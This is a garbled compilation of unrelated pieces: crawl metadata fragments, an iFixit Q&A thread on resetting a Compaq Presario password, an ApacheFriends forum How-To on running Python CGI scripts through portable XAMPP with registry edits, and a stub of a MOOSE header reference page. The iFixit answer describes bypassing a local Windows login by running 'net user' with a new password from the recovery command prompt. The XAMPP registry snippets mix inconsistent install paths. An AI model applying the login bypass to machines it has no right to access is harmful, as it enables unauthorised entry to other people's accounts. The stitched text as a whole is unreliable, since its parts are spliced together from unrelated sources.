"rps_doc_word_count": 2606,
"rps_doc_frac_chars_dupe_10grams": 0.024624479934573174,
"rps_doc_frac_chars_dupe_5grams": 0.12172699719667435,
"rps_doc_frac_chars_dupe_6grams": 0.1135188415646553,
"rps_doc_frac_chars_dupe_7grams": 0.08093245327472687,
"rps_doc_frac_chars_dupe_8grams": 0.0732988566160202,
"rps_doc_frac_chars_dupe_9grams": 0.03340721130371094,
"rps_doc_frac_chars_top_2gram": 0.04104078933596611,
"rps_doc_frac_chars_top_3gram": 0.01723713055253029,
"rps_doc_frac_chars_top_4gram": 0.034474268555641174,
"rps_doc_books_importance": -1530.25732421875,
"rps_doc_books_importance_length_correction": -1530.25732421875,
"rps_doc_openwebtext_importance": -798.731689453125,
"rps_doc_openwebtext_importance_length_correction": -798.731689453125,
"rps_doc_wikipedia_importance": -539.5537719726562,
"rps_doc_wikipedia_importance_length_correction": -539.5537719726562
},
"fasttext": {
"dclm": 0.08159971237182617,
"english": 0.8888354897499084,
"fineweb_edu_approx": 1.3518494367599487,
"eai_general_math": 0.09700071811676025,
"eai_open_web_math": 0.11229699850082397,
"eai_web_code": 0.025295669212937355
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.74",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.678",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "4",
"label": "Analyze"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "2",
"label": "Partially Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
5,078,714,379,609,404,000 | Zum Hauptinhalt wechseln
Repair guides and troubleshooting for Presario CQ58 series. These are budget laptops made by Compaq, which was owned by HP from 2002 to 2013.
22 Fragen Alle anzeigen
How can I reset password?
How do I reset my password
Beantwortet! Antwort anzeigen Ich habe das gleiche Problem
Ist dies eine gute Frage?
Bewertung 6
7 Kommentare
What version of Windows are you running?
Does it matter if you retain the data , or are you ok restoring it to factory settings?
von
I have windows 10.1
von
I need to retain my data
von
My laptop is Windows 8.1
von
I have a compact presario CQ5500F PC IT HAS LOCKED DUE TO SOMEONE RESETING MY PASSWORD HOW DO I GET PASSED THAT AND RESET MY PASSCODE
von
2 weitere Kommentare anzeigen
Einen Kommentar hinzufügen
4 Antworten
Gewählte Lösung
Hello Madison
Just like gatewaynomad said to make the instruction easier we will need to know what version of Windows your laptop is running.
Saying that resetting the Offline Windows password isn't to hard. Note that I said Offline password. that is because if you are using Windows 8 and above you can log in using your Microsoft Account password or any other online account password. If you have used an online account password to login, then you will need to reset your password using that online account reset password feature. If you let us know what online account you used I would be happy to provide you with a direct link.
If you used an offline password the you can follow the below instructions to reset it.
1. Boot you computer to the login screen.
2. Hold down shift while clicking the restart. This will then open a OASO (Advanced Startup Options)
3. # If you can't access the Advanced Startup Options I will then have to tell you how to make a bootable Windows recovery USB or DVD.
4. Touch or click on Troubleshoot, then Advanced options, and finally Command Prompt.
5. Type in the following net user then your username and then a space and your new password (the new password your want to use). So if your username was David Lindner and I wanted the new password to be password the command should look like this net user "David Lindner" password If there is a space in your username please place speech quotes at the beginning and end.
6. If you can't remember your username or get an unknown user type net user to list all available users.
7. Now restart your computer and try the new password we just set.
I hop this help.
War diese Antwort hilfreich?
Bewertung 5
Einen Kommentar hinzufügen
If you forgot a BIOS password, you can remove it by unplugging the battery for a while. If you forgot a Windows user password, it can be reset your password with Windows install CD. The last resort is format your hard drive and perform a clean install.
War diese Antwort hilfreich?
Bewertung 1
2 Kommentare:
How do you format your hard drive and preform a clean install?
von
Melissa This would be done by reinstalling the OS from some form of installation media such as a recovery USB CD or DVD or a windows installation disk.
von
Einen Kommentar hinzufügen
All I want to do is to change the password
Compaq presario cQ57
War diese Antwort hilfreich?
Bewertung 0
1 Kommentar:
I would like to change my password on my compaQ laptop. Presario CQ57
von
Einen Kommentar hinzufügen
On start : look on screen bottom may say F2 startup. On Bios. Look for password set up.
War diese Antwort hilfreich?
Bewertung 0
Einen Kommentar hinzufügen
Antwort hinzufügen
Madison wird auf ewig dankbar sein.
Seitenaufrufe:
Letzte 24 Stunden: 0
Letzte 7 Tage: 15
Letzte 30 Tage: 59
Insgesamt: 10,742 | {
"url": "https://de.ifixit.com/Antworten/Ansehen/279476/How+can+I+reset+password?permalink=answer-279676",
"source_domain": "de.ifixit.com",
"snapshot_id": "CC-MAIN-2024-18",
"warc_metadata": {
"Content-Length": "159153",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:BUXPCPVLX6KDGCJ5K5L6NXQYKABMVGHI",
"WARC-Concurrent-To": "<urn:uuid:71b7fa11-1597-4abd-9057-af8afe07464e>",
"WARC-Date": "2024-04-12T10:42:07Z",
"WARC-IP-Address": "75.101.159.182",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:X6R5JSJBSYOZV6QOFFTNA2ICZMZK4C4Z",
"WARC-Record-ID": "<urn:uuid:c2ddbf56-dd1a-43f6-a17a-d94c50df0bff>",
"WARC-Target-URI": "https://de.ifixit.com/Antworten/Ansehen/279476/How+can+I+reset+password?permalink=answer-279676",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:d6cf6552-ac0f-417e-9a90-3bc927b4f15f>"
},
"warc_info": "isPartOf: CC-MAIN-2024-18\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for April 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-150\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
25,
26,
168,
169,
193,
194,
220,
221,
248,
249,
308,
309,
335,
336,
348,
361,
362,
403,
404,
492,
493,
497,
498,
518,
519,
523,
524,
549,
550,
554,
555,
580,
581,
585,
586,
720,
721,
725,
726,
756,
757,
784,
785,
797,
798,
814,
815,
829,
830,
958,
959,
1450,
1451,
1538,
1539,
1583,
1686,
1823,
1911,
2283,
2390,
2459,
2460,
2477,
2478,
2507,
2508,
2520,
2547,
2548,
2801,
2802,
2831,
2832,
2844,
2845,
2859,
2860,
2923,
2924,
2928,
2929,
3081,
3082,
3086,
3087,
3114,
3115,
3158,
3159,
3180,
3181,
3210,
3211,
3223,
3224,
3237,
3238,
3308,
3309,
3313,
3314,
3341,
3342,
3430,
3431,
3460,
3461,
3473,
3500,
3501,
3520,
3521,
3557,
3572,
3573,
3594,
3595,
3613,
3614,
3633,
3634
],
"line_end_idx": [
25,
26,
168,
169,
193,
194,
220,
221,
248,
249,
308,
309,
335,
336,
348,
361,
362,
403,
404,
492,
493,
497,
498,
518,
519,
523,
524,
549,
550,
554,
555,
580,
581,
585,
586,
720,
721,
725,
726,
756,
757,
784,
785,
797,
798,
814,
815,
829,
830,
958,
959,
1450,
1451,
1538,
1539,
1583,
1686,
1823,
1911,
2283,
2390,
2459,
2460,
2477,
2478,
2507,
2508,
2520,
2547,
2548,
2801,
2802,
2831,
2832,
2844,
2845,
2859,
2860,
2923,
2924,
2928,
2929,
3081,
3082,
3086,
3087,
3114,
3115,
3158,
3159,
3180,
3181,
3210,
3211,
3223,
3224,
3237,
3238,
3308,
3309,
3313,
3314,
3341,
3342,
3430,
3431,
3460,
3461,
3473,
3500,
3501,
3520,
3521,
3557,
3572,
3573,
3594,
3595,
3613,
3614,
3633,
3634,
3651
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 3651,
"ccnet_original_nlines": 122,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3488045036792755,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.06469760835170746,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.14627285301685333,
"rps_doc_frac_unique_words": 0.4179810583591461,
"rps_doc_mean_word_length": 4.544164180755615,
"rps_doc_num_sentences": 47,
"rps_doc_symbol_to_word_ratio": 0.0014064699644222856,
"rps_doc_unigram_entropy": 5.136934757232666,
"rps_doc_word_count": 634,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.06178409978747368,
"rps_doc_frac_chars_dupe_6grams": 0.023602919653058052,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.015619579702615738,
"rps_doc_frac_chars_top_3gram": 0.04338771104812622,
"rps_doc_frac_chars_top_4gram": 0.03332176059484482,
"rps_doc_books_importance": -293.59912109375,
"rps_doc_books_importance_length_correction": -293.59912109375,
"rps_doc_openwebtext_importance": -144.89785766601562,
"rps_doc_openwebtext_importance_length_correction": -144.89785766601562,
"rps_doc_wikipedia_importance": -136.87271118164062,
"rps_doc_wikipedia_importance_length_correction": -136.87271118164062
},
"fasttext": {
"dclm": 0.1702926754951477,
"english": 0.6652849316596985,
"fineweb_edu_approx": 1.643823504447937,
"eai_general_math": 0.04549193009734154,
"eai_open_web_math": 0.09428369998931885,
"eai_web_code": 0.024095119908452034
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.16",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.456",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "4",
"label": "Missing Images or Figures"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-7,278,310,247,875,804,000 | [How-To] Running Python through/with XAMPP
Problems with the Windows version of XAMPP, questions, comments, and anything related.
[How-To] Running Python through/with XAMPP
Postby Kairu » 10. April 2009 07:23
Please note: If anything in this How-To is unclear, doesn't seem to work, or have a suggestion on what could be done better, let me know with as much detail as possible.
Also note: At the time of this writing, I'm using XAMPP 1.6.6a, and the recommended build of Python (version 2.5.*).
This How-To will enable you to run Python files through your XAMPP installation, on a USB-Drive. (It's a partially-portable version).
Step 1: Download Python
If you haven't already done so, go to the Python website (http://python.org) and download (preferably) the recommended build of Python (2.5.* at the time of this writing). Be sure to download the .msi installer, not the source code itself (which comes in ".tgz" and ".tar.bz2" archives).
Step 2: Install Python
Once you've downloaded the .msi installer, run it. Just go through the installation process (install it to wherever it recommends you to; usually it'll be something along the lines "C:\python25\"). After the installation has finished, navigate to where Python was installed. Copy the folder/directory from the installation over to the folder/directory where XAMPP is located or the root-of-the-drive (For example copy 'C:\python25\' over to 'E:\XAMPP\' where 'E:' would be your USB-Drive).
Step 3: Configure Apache
In the directory/folder where XAMPP is located, navigate to your httpd.conf file (usually located in /apache/conf/) and open it with a text-editing program. Scroll to the bottom, add the following code, and save it.
Code: Select all
#
# For Python
#
AddHandler cgi-script .py
ScriptInterpreterSource Registry-Strict
Step 4: Tweaking
Uninstallation is optional - Assuming you copied the Python Binaries into your USB-Drive and didn't cut/move them, then unistall the Python installation that you ran earlier in this How-To. The files you copied won't be affected by this unistallation process, only the files that were actually created by the .msi installer will be removed. I unistalled Python from Windows so it would be easier to tell if the Python-Binaries on my USB-Drive could run with Python being installed on the Host-Computer.
Next, add the following code into a text-file (.txt), save the file, and change the extension to .reg. I called this file modpy1.reg, but you can name it whatever you want (be sure it has .reg extension!). Also, make sure to edit the this so it matches the location of where your Python directory is.
Code: Select all
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\Python.File]
@="Python File"
[HKEY_CLASSES_ROOT\Python.File\DefaultIcon]
@="C:\\Python25\\DLLs\\py.ico"
[HKEY_CLASSES_ROOT\Python.File\shell]
[HKEY_CLASSES_ROOT\Python.File\shell\Edit with IDLE]
[HKEY_CLASSES_ROOT\Python.File\shell\Edit with IDLE\command]
@="\"C:\\Python25\\pythonw.exe\" \"C:\\Python25\\Lib\\idlelib\\idle.pyw\" -n -e \"%1\""
[HKEY_CLASSES_ROOT\Python.File\shell\ExecCGI]
[HKEY_CLASSES_ROOT\Python.File\shell\ExecCGI\command]
@="\"E:\\Python\\python.exe\" \"%1\" %*"
[HKEY_CLASSES_ROOT\Python.File\shell\open]
[HKEY_CLASSES_ROOT\Python.File\shell\open\command]
@="\"C:\\Python25\\python.exe\" \"%1\" %*"
[HKEY_CLASSES_ROOT\.py]
@="Python.File"
"Content Type"="text/plain"
This code is the path to the Python folder/directory that you copied onto your USB-Drive. So, wherever you placed that folder/directory, just replace my path (as is shown in the provided code) with the path pointing to your Python folder/directory. Add the following code into another text-file, save the file, and change the extension to .reg (exactly as you did with the code above). I called this file modpy2.reg but once again, you can call it whatever you want. Make sure 'python.exe' is included in the path and that you escape the back-slashes in the path, as you see is done in the code provided.
Code: Select all
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\Python.File\shell\ExecCGI\command]
@="\"E:\\Python\\python.exe\" \"%1\" %*"
Note: You actually don't have to make two separate files, you can combine both bits of code together into one file. I separated them for convenience reasons. You'll have to edit the drive-letter (that appears in the second code-snippet) if you're using your USB-Drive on a computer that assigns it a different drive-letter than what it was before.
Step 5: Test it
Now that you've got everything done, it should work flawlessly. Here's what you should've done up to this point:
Code: Select all
1.0 Downloaded a recommended build of Python as a .msi installer
2.0 Installed Python onto your computer using the .msi installer
3.0 Copied the folder that the .msi installer created onto your USB-Drive
4.0 Configured your httpd.conf file to allow apache to handle Python-files as CGI-scripts.
5.0 (Optional) Uninstalled the Python installation you ran earlier
5.1 Created the two registry-files (.reg files). (Or just one file. I only made two for convenience reasons).
So if you've done all of what was just mentioned above, then restart XAMPP, and point your browser to a .py-file that's inside your htdocs folder/directory. If you don't have a python-script to test, just use this (extremely simple) one. Just create a new text-file, paste the following code into it, and change the extension to .py.
Code: Select all
#!/usr/bin/python
import cgitb
cgitb.enable()
print "Content-Type: text/html"
print ""
print "If you can read this inside a Web-Browser window, you can successfully run Python through XAMPP!'"
If the file executed successfully, all you should see is, "If you can read this inside a Web-Browser window, you can successfully run Python through XAMPP!" If you got an error, or it blatantly displays the code while trying to view it inside a Web-Browser, then something went wrong along the way. While I can't say everything you could've done wrong, I can suggest checking your script paths (making sure the path you provided match up with where they actually are on your USB-Drive).
Le Fin; Dekimashita; The End!
P.S. Just a note: Remember to change the drive-letter of the path in the .reg file(s) you made. You only have to do this for the second snippet I provided for the .reg files. You won't (or shouldn't, atleast) have to edit anything in the first snippet for the .reg files. For example, you set this up on your computer (which it assigns your USB-Drive the letter of 'E:'). You then take that USB-Drive to another computer that assigns your USB-Drive to be 'J:'. Well now you have to edit the drive-letter in the script-path of the second .reg file to say 'J:' instead of 'E:'
ANNOTATION 1
I forgot to mention one other thing you must do: you must set a system variable for Python to run correctly (so you don't get a "500 Server Error"). To do this, Open My Computer, right-click and select Properties, select the tab titled Advanced, select Environment Variables (which is a button) at the bottom, select Path in the System Variables box, select Edit, and add the path to your python directory at the end of the Variable Value line[/u]. Ex: For the sake of this tutorial, I would add ";C:\Python25" to the end of the line (the semi-colon ";" acts as a separator between system-variables).
Feel free to contact me (for anything regarding this How-To): [email protected]
Last edited by Kairu on 10. January 2010 03:07, edited 10 times in total.
Kairu
Posts: 6
Joined: 10. April 2009 07:17
Re: Running Python through XAMPP
Postby Sharley » 10. April 2009 07:50
You may find some clues in these forum search results even though they are old.
Not sure if using an .msi version is the way to install to a USB drive because if a drive letter is nominated and a registry entry is created then your USB becomes unportable - best use a zip archive if one is available then extract to a folder in the xampp tree of your USB.
User avatar
Sharley
AF Moderator
Posts: 3316
Joined: 03. October 2008 05:10
Location: Yeppoon, Australia Time Zone: GMT/UTC+10
Operating System: Win 7 Pro 32bit/XP Pro SP3
Re: Running Python through XAMPP
Postby Kairu » 10. April 2009 08:07
I found a GZip-File, so hopefully, it'll work. Excuse my ignorance; but what exactly would I do after I placed the files into the XAMPP directory?
Kairu
Posts: 6
Joined: 10. April 2009 07:17
Re: Running Python through XAMPP
Postby Kairu » 11. April 2009 00:13
Does anyone know what to do? (I'm still at a road-block with this.)
Kairu
Posts: 6
Joined: 10. April 2009 07:17
Re: Running Python through XAMPP
Postby Sharley » 11. April 2009 00:28
Kairu wrote:Does anyone know what to do? (I'm still at a road-block with this.)
What do you want to do?
Why did you want to install Python in the first place?
Did you scan the search results I provided above?
Python is a programming language, have you read the documentation on the Python web site?
http://docs.python.org/tutorial/
These Google search results may help with the log jam.
User avatar
Sharley
AF Moderator
Posts: 3316
Joined: 03. October 2008 05:10
Location: Yeppoon, Australia Time Zone: GMT/UTC+10
Operating System: Win 7 Pro 32bit/XP Pro SP3
Re: Running Python through XAMPP
Postby Kairu » 11. April 2009 03:28
Now I feel ignorant - I completely overlooked the fact that you provided search-results. :oops:
What I want to do is install Python in the same fashion that the other components of XAMPP are installed. I want to keep it relatively portable (I keep XAMPP on a USB-Drive as I'm usually using it on several different computers). I'm installing Python because I want to start using it as my Programming Language-of-choice (I currently use PHP, which dissatisfies me) and I noticed that XAMPP doesn't support it natively.
I did find a recent version of Python (version 2.4) for XAMPP in the form of a XAMPP-Addon, but there seem to be quite a few problems with it. (It seems it was originally meant for LAMPP but no-one bothered to change the paths or anything like that).
Edit...
Nevermind, I have Python successfully installed.
Kairu
Posts: 6
Joined: 10. April 2009 07:17
Re: Running Python through XAMPP
Postby Sharley » 11. April 2009 05:38
Kairu wrote:Nevermind, I have Python successfully installed.
Would you mind telling others reading this topic and looking for a solution, how you eventually managed to successfully install Python?
User avatar
Sharley
AF Moderator
Posts: 3316
Joined: 03. October 2008 05:10
Location: Yeppoon, Australia Time Zone: GMT/UTC+10
Operating System: Win 7 Pro 32bit/XP Pro SP3
Re: Running Python through XAMPP
Postby Kairu » 11. April 2009 06:02
I was just working on that actually; I'll add it to the original post.
Kairu
Posts: 6
Joined: 10. April 2009 07:17
Re: [How-To] Running Python through/with XAMPP
Postby Sharley » 11. April 2009 08:41
Thank you for the comprehensive and detailed How-To, I am sure it will be most helpful for others who want to use Python and have searched the forum for this topic.
Well done!
User avatar
Sharley
AF Moderator
Posts: 3316
Joined: 03. October 2008 05:10
Location: Yeppoon, Australia Time Zone: GMT/UTC+10
Operating System: Win 7 Pro 32bit/XP Pro SP3
Return to XAMPP for Windows
Who is online
Users browsing this forum: No registered users and 27 guests | {
"url": "https://community.apachefriends.org/f/viewtopic.php?f=16&t=34468&p=140242",
"source_domain": "community.apachefriends.org",
"snapshot_id": "crawl=CC-MAIN-2018-51",
"warc_metadata": {
"Content-Length": "39788",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:32GHZX46BJGFXZOJQBC3LL5T7VAX3JDC",
"WARC-Concurrent-To": "<urn:uuid:829b8bea-cb8b-4238-a28e-46d8854a4797>",
"WARC-Date": "2018-12-18T21:33:34Z",
"WARC-IP-Address": "174.129.220.113",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:YFCTUTSENC3QOXI7OUOPBJKQ5Y2PUYRB",
"WARC-Record-ID": "<urn:uuid:89ae4a74-eac2-42ab-a781-52737880ed0f>",
"WARC-Target-URI": "https://community.apachefriends.org/f/viewtopic.php?f=16&t=34468&p=140242",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:546442e1-520a-4dc2-b48f-4b1e3941890c>"
},
"warc_info": "isPartOf: CC-MAIN-2018-51\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for December 2018\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-138-158-108.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
43,
44,
131,
132,
175,
176,
212,
213,
383,
500,
501,
635,
636,
660,
948,
949,
972,
1462,
1463,
1488,
1704,
1721,
1723,
1736,
1738,
1764,
1804,
1805,
1806,
1823,
2326,
2327,
2628,
2645,
2682,
2683,
2715,
2731,
2732,
2776,
2807,
2808,
2846,
2847,
2900,
2901,
2962,
3050,
3051,
3097,
3098,
3152,
3193,
3194,
3237,
3238,
3289,
3332,
3333,
3357,
3373,
3401,
3402,
3403,
4008,
4025,
4062,
4063,
4117,
4158,
4159,
4160,
4508,
4509,
4525,
4638,
4655,
4720,
4785,
4859,
4950,
5017,
5127,
5128,
5462,
5479,
5497,
5510,
5525,
5557,
5566,
5672,
5673,
5674,
6161,
6162,
6192,
6193,
6768,
6769,
6782,
7383,
7384,
7469,
7543,
7549,
7551,
7560,
7589,
7590,
7623,
7624,
7662,
7663,
7743,
7744,
8020,
8032,
8040,
8053,
8055,
8067,
8098,
8149,
8194,
8195,
8228,
8229,
8265,
8266,
8413,
8419,
8421,
8430,
8459,
8460,
8493,
8494,
8530,
8531,
8599,
8605,
8607,
8616,
8645,
8646,
8679,
8680,
8718,
8719,
8799,
8823,
8824,
8879,
8880,
8930,
8931,
9021,
9054,
9055,
9110,
9122,
9130,
9143,
9145,
9157,
9188,
9239,
9284,
9285,
9318,
9319,
9355,
9356,
9452,
9453,
9874,
9875,
10126,
10127,
10135,
10184,
10190,
10192,
10201,
10230,
10231,
10264,
10265,
10303,
10304,
10365,
10501,
10513,
10521,
10534,
10536,
10548,
10579,
10630,
10675,
10676,
10709,
10710,
10746,
10747,
10818,
10824,
10826,
10835,
10864,
10865,
10912,
10913,
10951,
10952,
11117,
11118,
11129,
11141,
11149,
11162,
11164,
11176,
11207,
11258,
11303,
11304,
11305,
11333,
11334,
11348,
11349
],
"line_end_idx": [
43,
44,
131,
132,
175,
176,
212,
213,
383,
500,
501,
635,
636,
660,
948,
949,
972,
1462,
1463,
1488,
1704,
1721,
1723,
1736,
1738,
1764,
1804,
1805,
1806,
1823,
2326,
2327,
2628,
2645,
2682,
2683,
2715,
2731,
2732,
2776,
2807,
2808,
2846,
2847,
2900,
2901,
2962,
3050,
3051,
3097,
3098,
3152,
3193,
3194,
3237,
3238,
3289,
3332,
3333,
3357,
3373,
3401,
3402,
3403,
4008,
4025,
4062,
4063,
4117,
4158,
4159,
4160,
4508,
4509,
4525,
4638,
4655,
4720,
4785,
4859,
4950,
5017,
5127,
5128,
5462,
5479,
5497,
5510,
5525,
5557,
5566,
5672,
5673,
5674,
6161,
6162,
6192,
6193,
6768,
6769,
6782,
7383,
7384,
7469,
7543,
7549,
7551,
7560,
7589,
7590,
7623,
7624,
7662,
7663,
7743,
7744,
8020,
8032,
8040,
8053,
8055,
8067,
8098,
8149,
8194,
8195,
8228,
8229,
8265,
8266,
8413,
8419,
8421,
8430,
8459,
8460,
8493,
8494,
8530,
8531,
8599,
8605,
8607,
8616,
8645,
8646,
8679,
8680,
8718,
8719,
8799,
8823,
8824,
8879,
8880,
8930,
8931,
9021,
9054,
9055,
9110,
9122,
9130,
9143,
9145,
9157,
9188,
9239,
9284,
9285,
9318,
9319,
9355,
9356,
9452,
9453,
9874,
9875,
10126,
10127,
10135,
10184,
10190,
10192,
10201,
10230,
10231,
10264,
10265,
10303,
10304,
10365,
10501,
10513,
10521,
10534,
10536,
10548,
10579,
10630,
10675,
10676,
10709,
10710,
10746,
10747,
10818,
10824,
10826,
10835,
10864,
10865,
10912,
10913,
10951,
10952,
11117,
11118,
11129,
11141,
11149,
11162,
11164,
11176,
11207,
11258,
11303,
11304,
11305,
11333,
11334,
11348,
11349,
11409
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 11409,
"ccnet_original_nlines": 233,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3099924325942993,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.04844814911484718,
"rps_doc_frac_lines_end_with_ellipsis": 0.0042734998278319836,
"rps_doc_frac_no_alph_words": 0.28803935647010803,
"rps_doc_frac_unique_words": 0.3073471784591675,
"rps_doc_mean_word_length": 4.906898498535156,
"rps_doc_num_sentences": 163,
"rps_doc_symbol_to_word_ratio": 0.0018925099866464734,
"rps_doc_unigram_entropy": 5.560378551483154,
"rps_doc_word_count": 1783,
"rps_doc_frac_chars_dupe_10grams": 0.14310206472873688,
"rps_doc_frac_chars_dupe_5grams": 0.2157960832118988,
"rps_doc_frac_chars_dupe_6grams": 0.18504971265792847,
"rps_doc_frac_chars_dupe_7grams": 0.17339123785495758,
"rps_doc_frac_chars_dupe_8grams": 0.16550463438034058,
"rps_doc_frac_chars_dupe_9grams": 0.15544633567333221,
"rps_doc_frac_chars_top_2gram": 0.014401650056242943,
"rps_doc_frac_chars_top_3gram": 0.018516400828957558,
"rps_doc_frac_chars_top_4gram": 0.01760200969874859,
"rps_doc_books_importance": -1184.8038330078125,
"rps_doc_books_importance_length_correction": -1184.8038330078125,
"rps_doc_openwebtext_importance": -766.4017944335938,
"rps_doc_openwebtext_importance_length_correction": -766.4017944335938,
"rps_doc_wikipedia_importance": -598.7503051757812,
"rps_doc_wikipedia_importance_length_correction": -598.7503051757812
},
"fasttext": {
"dclm": 0.1091884970664978,
"english": 0.8963903784751892,
"fineweb_edu_approx": 1.7507665157318115,
"eai_general_math": 0.29184097051620483,
"eai_open_web_math": 0.418501079082489,
"eai_web_code": 0.018212739378213882
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.028",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "5",
"label": "Social/Forum"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "2",
"label": "Click Here References"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "18",
"label": "Q&A Forum"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-6,458,634,330,003,735,000 | www.mooseframework.org
Classes | Functions
RankFourAux.h File Reference
Go to the source code of this file.
Classes
class RankFourAux
Functions
template<>
